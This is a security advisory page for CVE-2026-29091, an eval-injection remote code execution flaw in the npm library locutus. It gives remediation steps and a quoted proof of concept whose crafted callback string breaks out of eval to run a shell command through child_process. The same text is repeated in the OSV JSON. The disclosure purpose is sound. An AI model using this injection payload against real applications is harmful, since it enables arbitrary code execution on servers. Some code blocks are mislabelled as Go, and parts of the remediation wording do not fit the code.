CVE-2026-29091: Locutus Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-fp25-p6mj-qqg6
CVSS 8.1
CWE-95
Published
Advisory Summary

CVE-2026-29091 is a HIGH (CVSS 8.1) remote code execution vulnerability (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')) affecting Locutus libraries in the npm ecosystem. The issue involves locutus call_user_func_array vulnerable to remote code execution (rce) due to code injection. Remediation is available by upgrading affected packages to version 3.0.0.

CVE-2026-29091 at a Glance

CVE Identifier CVE-2026-29091
GHSA Identifier GHSA-fp25-p6mj-qqg6
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Affected Product Locutus
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-29091

To remediate this vulnerability, upgrade all affected Locutus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

locutus fixed: 3.0.0
npm install locutus@3.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls locutus

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-29091, inspect your project dependencies using npm:

npm ls locutus

Analyze the terminal output to locate any version of Locutus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.0), your application is affected.

Note: The npm ls locutus command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). In Locutus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Details A Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`. ------ ### Technical Details The vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name). The developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + "['" + cb[1] + "']")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process. ``````javascript // src/php/funchand/call_user_func_array.js (Lines 31-35) if (cb[0].match(validJSFunctionNamePattern)) { // biome-ignore lint/security/noGlobalEval: needed for PHP port func = eval(cb[0] + "['" + cb[1] + "']") } `````` ----- ### PoC This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message. ``````go const path = require("path"); const fs = require("fs"); const vulnFilePath = path.resolve( __dirname, "./src/php/funchand/call_user_func_array.js" ); if (!fs.existsSync(vulnFilePath)) { console.error("error target file not found"); process.exit(1); } console.log("loading target"); const call_user_func_array = require(vulnFilePath); const payload = "']; require('child_process').execSync('id').toString().trim(); //"; console.log("payload set"); try { console.log("run"); call_user_func_array(["Date", payload], []); console.log("fail no error"); } catch (e) { const msg = e.message; if (msg && msg.includes("uid=")) { console.log("pwn"); const proof = msg.split(" is not a valid function")[0]; console.log("out " + proof); } else { console.error("fail unexpected"); console.error(msg); process.exit(1); } } `````` ----- ### Impact If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error. This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions. Finally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // src/php/funchand/call_user_func_array.js (Lines 31-35) if (typeof cb[0] === "string") { if (cb[0].match(validJSFunctionNamePattern)) { // biome-ignore lint/security/noGlobalEval: needed for PHP port // func = eval(cb[0] + "['" + cb[1] + "']"); var obj = null; try { obj = eval(cb[0]); } catch (e) {} if (obj && typeof obj[cb[1]] === "function") { func = obj[cb[1]]; } } } else { func = cb[0][cb[1]]; } return func.apply(null, parameters); `````` And maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`. ---- ### Resources https://cwe.mitre.org/data/definitions/95.html https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval! ----- **Author**: Tomas Illuminati

CVE-2026-29091 Affected Locutus Versions

1 component(s)
Fixed Versions:
3.0.0
Product / Package Ecosystem Affected Versions Fixed Version
locutus
npm
< 3.0.0
3.0.0

References

Frequently Asked Questions

What is CVE-2026-29091?
CVE-2026-29091 is a security vulnerability in Locutus involving locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Which Locutus versions are affected?
Affected versions include releases prior to 3.0.0 across affected packages: locutus.
What version fixes CVE-2026-29091?
Upgrading to 3.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is locutus affected?
Yes, locutus is affected in releases prior to 3.0.0. Upgrade your dependency to 3.0.0 or later.
What is the CVSS score of CVE-2026-29091?
CVE-2026-29091 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-29091?
CVE-2026-29091 is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").).
How can I check npm dependencies for CVE-2026-29091?
Run the dependency tree command: 'npm ls locutus'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fp25-p6mj-qqg6",
  "modified" : "2026-03-06T22:44:25Z",
  "published" : "2026-03-04T20:19:55Z",
  "aliases" : [ "CVE-2026-29091" ],
  "summary" : "locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection",
  "details" : "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg && msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj && typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "locutus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29091"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"
  }, {
    "type" : "WEB",
    "url" : "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/locutusjs/locutus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-95" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T20:19:55Z",
    "nvd_published_at" : "2026-03-06T18:16:20Z"
  }
}